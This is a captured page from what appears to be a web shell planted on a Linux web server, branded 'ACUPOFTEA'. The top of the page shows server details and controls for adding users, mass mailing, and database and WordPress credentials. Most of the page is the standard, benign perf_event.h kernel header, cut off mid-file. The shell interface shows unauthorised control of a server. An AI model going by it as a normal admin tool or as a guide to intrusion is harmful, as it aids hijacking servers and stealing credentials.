System
:
Linux server1.ontime-gulf.com 4.18.0-553.5.1.el8_10.x86_64 #1 SMP Wed Jun 5 09:12:13 EDT 2024 x86_64
Software
:
Apache
Server
:
162.0.230.206
Domains
:
40 Domain
Permission
:
[
drwxr-xr-x
]
:
/
usr
/
include
/
linux
/
216.73.216.141
Select
Submit
Home
Add User
Mailer
About
DBName
DBUser
DBPass
DBHost
WpUser
WpPass
Input e-mail
ACUPOFTEA for accounting.gulfstore-gcc.com made by tabagkayu.
Folder Name
File Name
File Content
File
perf_event.h
/* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */ /* * Performance events: * * Copyright (C) 2008-2009, Thomas Gleixner <tglx@linutronix.de> * Copyright (C) 2008-2011, Red Hat, Inc., Ingo Molnar * Copyright (C) 2008-2011, Red Hat, Inc., Peter Zijlstra * * Data type definitions, declarations, prototypes. * * Started by: Thomas Gleixner and Ingo Molnar * * For licencing details see kernel-base/COPYING */ #ifndef _LINUX_PERF_EVENT_H #define _LINUX_PERF_EVENT_H #include <linux/types.h> #include <linux/ioctl.h> #include <asm/byteorder.h> /* * User-space ABI bits: */ /* * attr.type */ enum perf_type_id { PERF_TYPE_HARDWARE = 0, PERF_TYPE_SOFTWARE = 1, PERF_TYPE_TRACEPOINT = 2, PERF_TYPE_HW_CACHE = 3, PERF_TYPE_RAW = 4, PERF_TYPE_BREAKPOINT = 5, PERF_TYPE_MAX, /* non-ABI */ }; /* * attr.config layout for type PERF_TYPE_HARDWARE and PERF_TYPE_HW_CACHE * PERF_TYPE_HARDWARE: 0xEEEEEEEE000000AA * AA: hardware event ID * EEEEEEEE: PMU type ID * PERF_TYPE_HW_CACHE: 0xEEEEEEEE00DDCCBB * BB: hardware cache ID * CC: hardware cache op ID * DD: hardware cache op result ID * EEEEEEEE: PMU type ID * If the PMU type ID is 0, the PERF_TYPE_RAW will be applied. */ #define PERF_PMU_TYPE_SHIFT 32 #define PERF_HW_EVENT_MASK 0xffffffff /* * Generalized performance event event_id types, used by the * attr.event_id parameter of the sys_perf_event_open() * syscall: */ enum perf_hw_id { /* * Common hardware events, generalized by the kernel: */ PERF_COUNT_HW_CPU_CYCLES = 0, PERF_COUNT_HW_INSTRUCTIONS = 1, PERF_COUNT_HW_CACHE_REFERENCES = 2, PERF_COUNT_HW_CACHE_MISSES = 3, PERF_COUNT_HW_BRANCH_INSTRUCTIONS = 4, PERF_COUNT_HW_BRANCH_MISSES = 5, PERF_COUNT_HW_BUS_CYCLES = 6, PERF_COUNT_HW_STALLED_CYCLES_FRONTEND = 7, PERF_COUNT_HW_STALLED_CYCLES_BACKEND = 8, PERF_COUNT_HW_REF_CPU_CYCLES = 9, PERF_COUNT_HW_MAX, /* non-ABI */ }; /* * Generalized hardware cache events: * * { L1-D, L1-I, LLC, ITLB, DTLB, BPU, NODE } x * { read, write, prefetch } x * { accesses, misses } */ enum perf_hw_cache_id { PERF_COUNT_HW_CACHE_L1D = 0, PERF_COUNT_HW_CACHE_L1I = 1, PERF_COUNT_HW_CACHE_LL = 2, PERF_COUNT_HW_CACHE_DTLB = 3, PERF_COUNT_HW_CACHE_ITLB = 4, PERF_COUNT_HW_CACHE_BPU = 5, PERF_COUNT_HW_CACHE_NODE = 6, PERF_COUNT_HW_CACHE_MAX, /* non-ABI */ }; enum perf_hw_cache_op_id { PERF_COUNT_HW_CACHE_OP_READ = 0, PERF_COUNT_HW_CACHE_OP_WRITE = 1, PERF_COUNT_HW_CACHE_OP_PREFETCH = 2, PERF_COUNT_HW_CACHE_OP_MAX, /* non-ABI */ }; enum perf_hw_cache_op_result_id { PERF_COUNT_HW_CACHE_RESULT_ACCESS = 0, PERF_COUNT_HW_CACHE_RESULT_MISS = 1, PERF_COUNT_HW_CACHE_RESULT_MAX, /* non-ABI */ }; /* * Special "software" events provided by the kernel, even if the hardware * does not support performance events. These events measure various * physical and sw events of the kernel (and allow the profiling of them as * well): */ enum perf_sw_ids { PERF_COUNT_SW_CPU_CLOCK = 0, PERF_COUNT_SW_TASK_CLOCK = 1, PERF_COUNT_SW_PAGE_FAULTS = 2, PERF_COUNT_SW_CONTEXT_SWITCHES = 3, PERF_COUNT_SW_CPU_MIGRATIONS = 4, PERF_COUNT_SW_PAGE_FAULTS_MIN = 5, PERF_COUNT_SW_PAGE_FAULTS_MAJ = 6, PERF_COUNT_SW_ALIGNMENT_FAULTS = 7, PERF_COUNT_SW_EMULATION_FAULTS = 8, PERF_COUNT_SW_DUMMY = 9, PERF_COUNT_SW_BPF_OUTPUT = 10, PERF_COUNT_SW_CGROUP_SWITCHES = 11, PERF_COUNT_SW_MAX, /* non-ABI */ }; /* * Bits that can be set in attr.sample_type to request information * in the overflow packets. */ enum perf_event_sample_format { PERF_SAMPLE_IP = 1U << 0, PERF_SAMPLE_TID = 1U << 1, PERF_SAMPLE_TIME = 1U << 2, PERF_SAMPLE_ADDR = 1U << 3, PERF_SAMPLE_READ = 1U << 4, PERF_SAMPLE_CALLCHAIN = 1U << 5, PERF_SAMPLE_ID = 1U << 6, PERF_SAMPLE_CPU = 1U << 7, PERF_SAMPLE_PERIOD = 1U << 8, PERF_SAMPLE_STREAM_ID = 1U << 9, PERF_SAMPLE_RAW = 1U << 10, PERF_SAMPLE_BRANCH_STACK = 1U << 11, PERF_SAMPLE_REGS_USER = 1U << 12, PERF_SAMPLE_STACK_USER = 1U << 13, PERF_SAMPLE_WEIGHT = 1U << 14, PERF_SAMPLE_DATA_SRC = 1U << 15, PERF_SAMPLE_IDENTIFIER = 1U << 16, PERF_SAMPLE_TRANSACTION = 1U << 17, PERF_SAMPLE_REGS_INTR = 1U << 18, PERF_SAMPLE_PHYS_ADDR = 1U << 19, PERF_SAMPLE_AUX = 1U << 20, PERF_SAMPLE_CGROUP = 1U << 21, #ifndef __GENKSYMS__ PERF_SAMPLE_DATA_PAGE_SIZE = 1U << 22, PERF_SAMPLE_CODE_PAGE_SIZE = 1U << 23, PERF_SAMPLE_WEIGHT_STRUCT = 1U << 24, PERF_SAMPLE_MAX = 1U << 25, /* non-ABI */ #else PERF_SAMPLE_MAX = 1U << 22, /* non-ABI */ #endif /* __GENKSYMS__ */ __PERF_SAMPLE_CALLCHAIN_EARLY = 1ULL << 63, /* non-ABI; internal use */ }; #define PERF_SAMPLE_WEIGHT_TYPE (PERF_SAMPLE_WEIGHT | PERF_SAMPLE_WEIGHT_STRUCT) /* * values to program into branch_sample_type when PERF_SAMPLE_BRANCH is set * * If the user does not pass priv level information via branch_sample_type, * the kernel uses the event's priv level. Branch and event priv levels do * not have to match. Branch priv level is checked for permissions. * * The branch types can be combined, however BRANCH_ANY covers all types * of branches and therefore it supersedes all the other types. */ enum perf_branch_sample_type_shift { PERF_SAMPLE_BRANCH_USER_SHIFT = 0, /* user branches */ PERF_SAMPLE_BRANCH_KERNEL_SHIFT = 1, /* kernel branches */ PERF_SAMPLE_BRANCH_HV_SHIFT = 2, /* hypervisor branches */ PERF_SAMPLE_BRANCH_ANY_SHIFT = 3, /* any branch types */ PERF_SAMPLE_BRANCH_ANY_CALL_SHIFT = 4, /* any call branch */ PERF_SAMPLE_BRANCH_ANY_RETURN_SHIFT = 5, /* any return branch */ PERF_SAMPLE_BRANCH_IND_CALL_SHIFT = 6, /* indirect calls */ PERF_SAMPLE_BRANCH_ABORT_TX_SHIFT = 7, /* transaction aborts */ PERF_SAMPLE_BRANCH_IN_TX_SHIFT = 8, /* in transaction */ PERF_SAMPLE_BRANCH_NO_TX_SHIFT = 9, /* not in transaction */ PERF_SAMPLE_BRANCH_COND_SHIFT = 10, /* conditional branches */ PERF_SAMPLE_BRANCH_CALL_STACK_SHIFT = 11, /* call/ret stack */ PERF_SAMPLE_BRANCH_IND_JUMP_SHIFT = 12, /* indirect jumps */ PERF_SAMPLE_BRANCH_CALL_SHIFT = 13, /* direct call */ PERF_SAMPLE_BRANCH_NO_FLAGS_SHIFT = 14, /* no flags */ PERF_SAMPLE_BRANCH_NO_CYCLES_SHIFT = 15, /* no cycles */ PERF_SAMPLE_BRANCH_TYPE_SAVE_SHIFT = 16, /* save branch type */ PERF_SAMPLE_BRANCH_HW_INDEX_SHIFT = 17, /* save low level index of raw branch records */ PERF_SAMPLE_BRANCH_MAX_SHIFT /* non-ABI */ }; enum perf_branch_sample_type { PERF_SAMPLE_BRANCH_USER = 1U << PERF_SAMPLE_BRANCH_USER_SHIFT, PERF_SAMPLE_BRANCH_KERNEL = 1U << PERF_SAMPLE_BRANCH_KERNEL_SHIFT, PERF_SAMPLE_BRANCH_HV = 1U << PERF_SAMPLE_BRANCH_HV_SHIFT, PERF_SAMPLE_BRANCH_ANY = 1U << PERF_SAMPLE_BRANCH_ANY_SHIFT, PERF_SAMPLE_BRANCH_ANY_CALL = 1U << PERF_SAMPLE_BRANCH_ANY_CALL_SHIFT, PERF_SAMPLE_BRANCH_ANY_RETURN = 1U << PERF_SAMPLE_BRANCH_ANY_RETURN_SHIFT, PERF_SAMPLE_BRANCH_IND_CALL = 1U << PERF_SAMPLE_BRANCH_IND_CALL_SHIFT, PERF_SAMPLE_BRANCH_ABORT_TX = 1U << PERF_SAMPLE_BRANCH_ABORT_TX_SHIFT, PERF_SAMPLE_BRANCH_IN_TX = 1U << PERF_SAMPLE_BRANCH_IN_TX_SHIFT, PERF_SAMPLE_BRANCH_NO_TX = 1U << PERF_SAMPLE_BRANCH_NO_TX_SHIFT, PERF_SAMPLE_BRANCH_COND = 1U << PERF_SAMPLE_BRANCH_COND_SHIFT, PERF_SAMPLE_BRANCH_CALL_STACK = 1U << PERF_SAMPLE_BRANCH_CALL_STACK_SHIFT, PERF_SAMPLE_BRANCH_IND_JUMP = 1U << PERF_SAMPLE_BRANCH_IND_JUMP_SHIFT, PERF_SAMPLE_BRANCH_CALL = 1U << PERF_SAMPLE_BRANCH_CALL_SHIFT, PERF_SAMPLE_BRANCH_NO_FLAGS = 1U << PERF_SAMPLE_BRANCH_NO_FLAGS_SHIFT, PERF_SAMPLE_BRANCH_NO_CYCLES = 1U << PERF_SAMPLE_BRANCH_NO_CYCLES_SHIFT, PERF_SAMPLE_BRANCH_TYPE_SAVE = 1U << PERF_SAMPLE_BRANCH_TYPE_SAVE_SHIFT, PERF_SAMPLE_BRANCH_HW_INDEX = 1U << PERF_SAMPLE_BRANCH_HW_INDEX_SHIFT, PERF_SAMPLE_BRANCH_MAX = 1U << PERF_SAMPLE_BRANCH_MAX_SHIFT, }; /* * Common flow change classification */ enum { PERF_BR_UNKNOWN = 0, /* unknown */ PERF_BR_COND = 1, /* conditional */ PERF_BR_UNCOND = 2, /* unconditional */ PERF_BR_IND = 3, /* indirect */ PERF_BR_CALL = 4, /* function call */ PERF_BR_IND_CALL = 5, /* indirect function call */ PERF_BR_RET = 6, /* function return */ PERF_BR_SYSCALL = 7, /* syscall */ PERF_BR_SYSRET = 8, /* syscall return */ PERF_BR_COND_CALL = 9, /* conditional function call */ PERF_BR_COND_RET = 10, /* conditional function return */ PERF_BR_ERET = 11, /* exception return */ PERF_BR_IRQ = 12, /* irq */ PERF_BR_MAX, }; /* * Common branch speculation outcome classification */ enum { PERF_BR_SPEC_NA = 0, /* Not available */ PERF_BR_SPEC_WRONG_PATH = 1, /* Speculative but on wrong path */ PERF_BR_NON_SPEC_CORRECT_PATH = 2, /* Non-speculative but on correct path */ PERF_BR_SPEC_CORRECT_PATH = 3, /* Speculative and on correct path */ PERF_BR_SPEC_MAX, }; #define PERF_SAMPLE_BRANCH_PLM_ALL \ (PERF_SAMPLE_BRANCH_USER|\ PERF_SAMPLE_BRANCH_KERNEL|\ PERF_SAMPLE_BRANCH_HV) /* * Values to determine ABI of the registers dump. */ enum perf_sample_regs_abi { PERF_SAMPLE_REGS_ABI_NONE = 0, PERF_SAMPLE_REGS_ABI_32 = 1, PERF_SAMPLE_REGS_ABI_64 = 2, }; /* * Values for the memory transaction event qualifier, mostly for * abort events. Multiple bits can be set. */ enum { PERF_TXN_ELISION = (1 << 0), /* From elision */ PERF_TXN_TRANSACTION = (1 << 1), /* From transaction */ PERF_TXN_SYNC = (1 << 2), /* Instruction is related */ PERF_TXN_ASYNC = (1 << 3), /* Instruction not related */ PERF_TXN_RETRY = (1 << 4), /* Retry possible */ PERF_TXN_CONFLICT = (1 << 5), /* Conflict abort */ PERF_TXN_CAPACITY_WRITE = (1 << 6), /* Capacity write abort */ PERF_TXN_CAPACITY_READ = (1 << 7), /* Capacity read abort */ PERF_TXN_MAX = (1 << 8), /* non-ABI */ /* bits 32..63 are reserved for the abort code */ PERF_TXN_ABORT_MASK = (0xffffffffULL << 32), PERF_TXN_ABORT_SHIFT = 32, }; /* * The format of the data returned by read() on a perf event fd, * as specified by attr.read_format: * * struct read_format { * { u64 value; * { u64 time_enabled; } && PERF_FORMAT_TOTAL_TIME_ENABLED * { u64 time_running; } && PERF_FORMAT_TOTAL_TIME_RUNNING * { u64 id; } && PERF_FORMAT_ID * } && !PERF_FORMAT_GROUP * * { u64 nr; * { u64 time_enabled; } && PERF_FORMAT_TOTAL_TIME_ENABLED * { u64 time_running; } && PERF_FORMAT_TOTAL_TIME_RUNNING * { u64 value; * { u64 id; } && PERF_FORMAT_ID * } cntr[nr]; * } && PERF_FORMAT_GROUP * }; */ enum perf_event_read_format { PERF_FORMAT_TOTAL_TIME_ENABLED = 1U << 0, PERF_FORMAT_TOTAL_TIME_RUNNING = 1U << 1, PERF_FORMAT_ID = 1U << 2, PERF_FORMAT_GROUP = 1U << 3, PERF_FORMAT_MAX = 1U << 4, /* non-ABI */ }; #define PERF_ATTR_SIZE_VER0 64 /* sizeof first published struct */ #define PERF_ATTR_SIZE_VER1 72 /* add: config2 */ #define PERF_ATTR_SIZE_VER2 80 /* add: branch_sample_type */ #define PERF_ATTR_SIZE_VER3 96 /* add: sample_regs_user */ /* add: sample_stack_user */ #define PERF_ATTR_SIZE_VER4 104 /* add: sample_regs_intr */ #define PERF_ATTR_SIZE_VER5 112 /* add: aux_watermark */ #define PERF_ATTR_SIZE_VER6 120 /* add: aux_sample_size */ /* * Hardware event_id to monitor via a performance monitoring event: * * @sample_max_stack: Max number of frame pointers in a callchain, * should be < /proc/sys/kernel/perf_event_max_stack */ struct perf_event_attr { /* * Major type: hardware/software/tracepoint/etc. */ __u32 type; /* * Size of the attr structure, for fwd/bwd compat. */ __u32 size; /* * Type specific configuration information. */ __u64 config; union { __u64 sample_period; __u64 sample_freq; }; __u64 sample_type; __u64 read_format; __u64 disabled : 1, /* off by default */ inherit : 1, /* children inherit it */ pinned : 1, /* must always be on PMU */ exclusive : 1, /* only group on PMU */ exclude_user : 1, /* don't count user */ exclude_kernel : 1, /* ditto kernel */ exclude_hv : 1, /* ditto hypervisor */ exclude_idle : 1, /* don't count when idle */ mmap : 1, /* include mmap data */ comm : 1, /* include comm data */ freq : 1, /* use freq, not period */ inherit_stat : 1, /* per task counts */ enable_on_exec : 1, /* next exec enables */ task : 1, /* trace fork/exit */ watermark : 1, /* wakeup_watermark */ /* * precise_ip: * * 0 - SAMPLE_IP can have arbitrary skid * 1 - SAMPLE_IP must have constant skid * 2 - SAMPLE_IP requested to have 0 skid * 3 - SAMPLE_IP must have 0 skid * * See also PERF_RECORD_MISC_EXACT_IP */ precise_ip : 2, /* skid constraint */ mmap_data : 1, /* non-exec mmap data */ sample_id_all : 1, /* sample_type all events */ exclude_host : 1, /* don't count in host */ exclude_guest : 1, /* don't count in guest */ exclude_callchain_kernel : 1, /* exclude kernel callchains */ exclude_callchain_user : 1, /* exclude user callchains */ mmap2 : 1, /* include mmap with inode data */ comm_exec : 1, /* flag comm events that are due to an exec */ use_clockid : 1, /* use @clockid for time fields */ context_switch : 1, /* context switch data */ write_backward : 1, /* Write ring buffer from end to beginning */ namespaces : 1, /* include namespaces data */ #ifndef __GENKSYMS__ ksymbol : 1, /* include ksymbol events */ bpf_event : 1, /* include bpf events */ aux_output : 1, /* generate AUX records instead of events */ cgroup : 1, /* include cgroup events */ text_poke : 1, /* include text poke events */ build_id : 1, /* use build id in mmap2 events */ inherit_thread : 1, /* children only inherit if cloned with CLONE_THREAD */ remove_on_exec : 1, /* event is removed from task on exec */ __reserved_1 : 27; #else __reserved_1 : 35; #endif /* __GENKSYMS__ */ union { __u32 wakeup_events; /* wakeup every n events */ __u32 wakeup_watermark; /* bytes before wakeup */ }; __u32 bp_type; union { __u64 bp_addr; __u64 kprobe_func; /* for perf_kprobe */ __u64 uprobe_path; /* for perf_uprobe */ __u64 config1; /* extension of config */ }; union { __u64 bp_len; __u64 kprobe_addr; /* when kprobe_func == NULL */ __u64 probe_offset; /* for perf_[k,u]probe */ __u64 config2; /* extension of config1 */ }; __u64 branch_sample_type; /* enum perf_branch_sample_type */ /* * Defines set of user regs to dump on samples. * See asm/perf_regs.h for details. */ __u64 sample_regs_user; /* * Defines size of the user stack to dump on samples. */ __u32 sample_stack_user; __s32 clockid; /* * Defines set of regs to dump for each sample * state captured on: * - precise = 0: PMU interrupt * - precise > 0: sampled instruction * * See asm/perf_regs.h for details. */ __u64 sample_regs_intr; /* * Wakeup watermark for AUX area */ __u32 aux_watermark; __u16 sample_max_stack; __u16 __reserved_2; #ifndef __GENKSYMS__ __u32 aux_sample_size; __u32 __reserved_3; #endif /* __GENKSYMS__ */ }; /* * Structure used by below PERF_EVENT_IOC_QUERY_BPF command * to query bpf programs attached to the same perf tracepoint * as the given perf event. */ struct perf_event_query_bpf { /* * The below ids array length */ __u32 ids_len; /* * Set by the kernel to indicate the number of * available programs */ __u32 prog_cnt; /* * User provided buffer to store program ids */ __u32 ids[0]; }; /* * Ioctls that can be done on a perf event fd: */ #define PERF_EVENT_IOC_ENABLE _IO ('$', 0) #define PERF_EVENT_IOC_DISABLE _IO ('$', 1) #define PERF_EVENT_IOC_REFRESH _IO ('$', 2) #define PERF_EVENT_IOC_RESET _IO ('$', 3) #define PERF_EVENT_IOC_PERIOD _IOW('$', 4, __u64) #define PERF_EVENT_IOC_SET_OUTPUT _IO ('$', 5) #define PERF_EVENT_IOC_SET_FILTER _IOW('$', 6, char *) #define PERF_EVENT_IOC_ID _IOR('$', 7, __u64 *) #define PERF_EVENT_IOC_SET_BPF _IOW('$', 8, __u32) #define PERF_EVENT_IOC_PAUSE_OUTPUT _IOW('$', 9, __u32) #define PERF_EVENT_IOC_QUERY_BPF _IOWR('$', 10, struct perf_event_query_bpf *) #define PERF_EVENT_IOC_MODIFY_ATTRIBUTES _IOW('$', 11, struct perf_event_attr *) enum perf_event_ioc_flags { PERF_IOC_FLAG_GROUP = 1U << 0, }; /* * Structure of the page that can be mapped via mmap */ struct perf_event_mmap_page { __u32 version; /* version number of this structure */ __u32 compat_version; /* lowest version this is compat with */ /* * Bits needed to read the hw events in user-space. * * u32 seq, time_mult, time_shift, index, width; * u64 count, enabled, running; * u64 cyc, time_offset; * s64 pmc = 0; * * do { * seq = pc->lock; * barrier() * * enabled = pc->time_enabled; * running = pc->time_running; * * if (pc->cap_usr_time && enabled != running) { * cyc = rdtsc(); * time_offset = pc->time_offset; * time_mult = pc->time_mult; * time_shift = pc->time_shift; * } * * index = pc->index; * count = pc->offset; * if (pc->cap_user_rdpmc && index) { * width = pc->pmc_width; * pmc = rdpmc(index - 1); * } * * barrier(); * } while (pc->lock != seq); * * NOTE: for obvious reason this only works on self-monitoring * processes. */ __u32 lock; /* seqlock for synchronization */ __u32 index; /* hardware event identifier */ __s64 offset; /* add to hardware event value */ __u64 time_enabled; /* time event active */ __u64 time_running; /* time event on cpu */ union { __u64 capabilities; struct { __u64 cap_bit0 : 1, /* Always 0, deprecated, see commit 860f085b74e9 */ cap_bit0_is_deprecated : 1, /* Always 1, signals that bit 0 is zero */ cap_user_rdpmc : 1, /* The RDPMC instruction can be used to read counts */ cap_user_time : 1, /* The time_{shift,mult,offset} fields are used */ cap_user_time_zero : 1, /* The time_zero field is used */ cap_user_time_short : 1, /* the time_{cycle,mask} fields are used */ cap_____res : 58; }; }; /* * If cap_user_rdpmc this field provides the bit-width of the value * read using the rdpmc() or equivalent instruction. This can be used * to sign extend the result like: * * pmc <<= 64 - width; * pmc >>= 64 - width; // signed shift right * count += pmc; */ __u16 pmc_width; /* * If cap_usr_time the below fields can be used to compute the time * delta since time_enabled (in ns) using rdtsc or similar. * * u64 quot, rem; * u64 delta; * * quot = (cyc >> time_shift); * rem = cyc & (((u64)1 << time_shift) - 1); * delta = time_offset + quot * time_mult + * ((rem * time_mult) >> time_shift); * * Where time_offset,time_mult,time_shift and cyc are read in the * seqcount loop described above. This delta can then be added to * enabled and possible running (if index), improving the scaling: * * enabled += delta; * if (index) * running += delta; * * quot = count / running; * rem = count % running; * count = quot * enabled + (rem * enabled) / running; */ __u16 time_shift; __u32 time_mult; __u64 time_offset; /* * If cap_usr_time_zero, the hardware clock (e.g. TSC) can be calculated * from sample timestamps. * * time = timestamp - time_zero; * quot = time / time_mult; * rem = time % time_mult; * cyc = (quot << time_shift) + (rem << time_shift) / time_mult; * * And vice versa: * * quot = cyc >> time_shift; * rem = cyc & (((u64)1 << time_shift) - 1); * timestamp = time_zero + quot * time_mult + * ((rem * time_mult) >> time_shift); */ __u64 time_zero; __u32 size; /* Header size up to __reserved[] fields. */ __u32 __reserved_1; /* * If cap_usr_time_short, the hardware clock is less than 64bit wide * and we must compute the 'cyc' value, as used by cap_usr_time, as: * * cyc = time_cycles + ((cyc - time_cycles) & time_mask) * * NOTE: this form is explicitly chosen such that cap_usr_time_short * is a correction on top of cap_usr_time, and code that doesn't * know about cap_usr_time_short still works under the assumption * the counter doesn't wrap. */ __u64 time_cycles; __u64 time_mask; /* * Hole for extension of the self monitor capabilities */ __u8 __reserved[116*8]; /* align to 1k. */ /* * Control data for the mmap() data buffer. * * User-space reading the @data_head value should issue an smp_rmb(), * after reading this value. * * When the mapping is PROT_WRITE the @data_tail value should be * written by userspace to reflect the last read data, after issueing * an smp_mb() to separate the data read from the ->data_tail store. * In this case the kernel will not over-write unread data. * * See perf_output_put_handle() for the data ordering. * * data_{offset,size} indicate the location and size of the perf record * buffer within the mmapped area. */ __u64 data_head; /* head in the data section */ __u64 data_tail; /* user-space written tail */ __u64 data_offset; /* where the buffer starts */ __u64 data_size; /* data buffer size */ /* * AUX area is defined by aux_{offset,size} fields that should be set * by the userspace, so that * * aux_offset >= data_offset + data_size * * prior to mmap()ing it. Size of the mmap()ed area should be aux_size. * * Ring buffer pointers aux_{head,tail} have the same semantics as * data_{head,tail} and same ordering rules apply. */ __u64 aux_head; __u64 aux_tail; __u64 aux_offset; __u64 aux_size; }; /* * The current state of perf_event_header::misc bits usage: * ('|' used bit, '-' unused bit) * * 012 CDEF * |||---------|||| * * Where: * 0-2 CPUMODE_MASK * * C PROC_MAP_PARSE_TIMEOUT * D MMAP_DATA / COMM_EXEC / FORK_EXEC / SWITCH_OUT * E MMAP_BUILD_ID / EXACT_IP / SCHED_OUT_PREEMPT * F (reserved) */ #define PERF_RECORD_MISC_CPUMODE_MASK (7 << 0) #define PERF_RECORD_MISC_CPUMODE_UNKNOWN (0 << 0) #define PERF_RECORD_MISC_KERNEL (1 << 0) #define PERF_RECORD_MISC_USER (2 << 0) #define PERF_RECORD_MISC_HYPERVISOR (3 << 0) #define PERF_RECORD_MISC_GUEST_KERNEL (4 << 0) #define PERF_RECORD_MISC_GUEST_USER (5 << 0) /* * Indicates that /proc/PID/maps parsing are truncated by time out. */ #define PERF_RECORD_MISC_PROC_MAP_PARSE_TIMEOUT (1 << 12) /* * Following PERF_RECORD_MISC_* are used on different * events, so can reuse the same bit position: * * PERF_RECORD_MISC_MMAP_DATA - PERF_RECORD_MMAP* events * PERF_RECORD_MISC_COMM_EXEC - PERF_RECORD_COMM event * PERF_RECORD_MISC_FORK_EXEC - PERF_RECORD_FORK event (perf internal) * PERF_RECORD_MISC_SWITCH_OUT - PERF_RECORD_SWITCH* events */ #define PERF_RECORD_MISC_MMAP_DATA (1 << 13) #define PERF_RECORD_MISC_COMM_EXEC (1 << 13) #define PERF_RECORD_MISC_FORK_EXEC (1 << 13) #define PERF_RECORD_MISC_SWITCH_OUT (1 << 13) /* * These PERF_RECORD_MISC_* flags below are safely reused * for the following events: * * PERF_RECORD_MISC_EXACT_IP - PERF_RECORD_SAMPLE of precise events * PERF_RECORD_MISC_SWITCH_OUT_PREEMPT - PERF_RECORD_SWITCH* events * PERF_RECORD_MISC_MMAP_BUILD_ID - PERF_RECORD_MMAP2 event * * * PERF_RECORD_MISC_EXACT_IP: * Indicates that the content of PERF_SAMPLE_IP points to * the actual instruction that triggered the event. See also * perf_event_attr::precise_ip. * * PERF_RECORD_MISC_SWITCH_OUT_PREEMPT: * Indicates that thread was preempted in TASK_RUNNING state. * * PERF_RECORD_MISC_MMAP_BUILD_ID: * Indicates that mmap2 event carries build id data. */ #define PERF_RECORD_MISC_EXACT_IP (1 << 14) #define PERF_RECORD_MISC_SWITCH_OUT_PREEMPT (1 << 14) #define PERF_RECORD_MISC_MMAP_BUILD_ID (1 << 14) /* * Reserve the last bit to indicate some extended misc field */ #define PERF_RECORD_MISC_EXT_RESERVED (1 << 15) struct perf_event_header { __u32 type; __u16 misc; __u16 size; }; struct perf_ns_link_info { __u64 dev; __u64 ino; }; enum { NET_NS_INDEX = 0, UTS_NS_INDEX = 1, IPC_NS_INDEX = 2, PID_NS_INDEX = 3, USER_NS_INDEX = 4, MNT_NS_INDEX = 5, CGROUP_NS_INDEX = 6, NR_NAMESPACES, /* number of available namespaces */ }; enum perf_event_type { /* * If perf_event_attr.sample_id_all is set then all event types will * have the sample_type selected fields related to where/when * (identity) an event took place (TID, TIME, ID, STREAM_ID, CPU, * IDENTIFIER) described in PERF_RECORD_SAMPLE below, it will be stashed * just after the perf_event_header and the fields already present for * the existing fields, i.e. at the end of the payload. That way a newer * perf.data file will be supported by older perf tools, with these new * optional fields being ignored. * * struct sample_id { * { u32 pid, tid; } && PERF_SAMPLE_TID * { u64 time; } && PERF_SAMPLE_TIME * { u64 id; } && PERF_SAMPLE_ID * { u64 stream_id;} && PERF_SAMPLE_STREAM_ID * { u32 cpu, res; } && PERF_SAMPLE_CPU * { u64 id; } && PERF_SAMPLE_IDENTIFIER * } && perf_event_attr::sample_id_all * * Note that PERF_SAMPLE_IDENTIFIER duplicates PERF_SAMPLE_ID. The * advantage of PERF_SAMPLE_IDENTIFIER is that its position is fixed * relative to header.size. */ /* * The MMAP events record the PROT_EXEC mappings so that we can * correlate userspace IPs to code. They have the following structure: * * struct { * struct perf_event_header header; * * u32 pid, tid; * u64 addr; * u64 len; * u64 pgoff; * char filename[]; * struct sample_id sample_id; * }; */ PERF_RECORD_MMAP = 1, /* * struct { * struct perf_event_header header; * u64 id; * u64 lost; * struct sample_id sample_id; * }; */ PERF_RECORD_LOST = 2, /* * struct { * struct perf_event_header header; * * u32 pid, tid; * char comm[]; * struct sample_id sample_id; * }; */ PERF_RECORD_COMM = 3, /* * struct { * struct perf_event_header header; * u32 pid, ppid; * u32 tid, ptid; * u64 time; * struct sample_id sample_id; * }; */ PERF_RECORD_EXIT = 4, /* * struct { * struct perf_event_header header; * u64 time; * u64 id; * u64 stream_id; * struct sample_id sample_id; * }; */ PERF_RECORD_THROTTLE = 5, PERF_RECORD_UNTHROTTLE = 6, /* * struct { * struct perf_event_header header; * u32 pid, ppid; * u32 tid, ptid; * u64 time; * struct sample_id sample_id; * }; */ PERF_RECORD_FORK = 7, /* * struct { * struct perf_event_header header; * u32 pid, tid; * * struct read_format values; * struct sample_id sample_id; * }; */ PERF_RECORD_READ = 8, /* * struct { * struct perf_event_header header; * * # * # Note that PERF_SAMPLE_IDENTIFIER duplicates PERF_SAMPLE_ID. * # The advantage of PERF_SAMPLE_IDENTIFIER is that its position * # is fixed relative to header. * # * * { u64 id; } && PERF_SAMPLE_IDENTIFIER * { u64 ip; } && PERF_SAMPLE_IP * { u32 pid, tid; } && PERF_SAMPLE_TID * { u64 time; } && PERF_SAMPLE_TIME * { u64 addr; } && PERF_SAMPLE_ADDR * { u64 id; } && PERF_SAMPLE_ID * { u64 stream_id;} && PERF_SAMPLE_STREAM_ID * { u32 cpu, res; } && PERF_SAMPLE_CPU * { u64 period; } && PERF_SAMPLE_PERIOD * * { struct read_format values; } && PERF_SAMPLE_READ * * { u64 nr, * u64 ips[nr]; } && PERF_SAMPLE_CALLCHAIN * * # * # The RAW record below is opaque data wrt the ABI * # * # That is, the ABI doesn't make any promises wrt to * # the stability of its content, it may vary depending * # on event, hardware, kernel version and phase of * # the moon. * # * # In other words, PERF_SAMPLE_RAW contents are not an ABI. * # * * { u32 size; * char data[size];}&& PERF_SAMPLE_RAW * * { u64 nr; * { u64 hw_idx; } && PERF_SAMPLE_BRANCH_HW_INDEX * { u64 from, to, flags } lbr[nr]; * } && PERF_SAMPLE_BRANCH_STACK * * { u64 abi; # enum perf_sample_regs_abi * u64 regs[weight(mask)]; } && PERF_SAMPLE_REGS_USER * * { u64 size; * char data[size]; * u64 dyn_size; } && PERF_SAMPLE_STACK_USER * * { union perf_sample_weight * { * u64 full; && PERF_SAMPLE_WEIGHT * #if defined(__LITTLE_ENDIAN_BITFIELD) * struct { * u32 var1_dw; * u16 var2_w; * u16 var3_w; * } && PERF_SAMPLE_WEIGHT_STRUCT * #elif defined(__BIG_ENDIAN_BITFIELD) * struct { * u16 var3_w; * u16 var2_w; * u32 var1_dw; * } && PERF_SAMPLE_WEIGHT_STRUCT * #endif * } * } * { u64 data_src; } && PERF_SAMPLE_DATA_SRC * { u64 transaction; } && PERF_SAMPLE_TRANSACTION * { u64 abi; # enum perf_sample_regs_abi * u64 regs[weight(mask)]; } && PERF_SAMPLE_REGS_INTR * { u64 phys_addr;} && 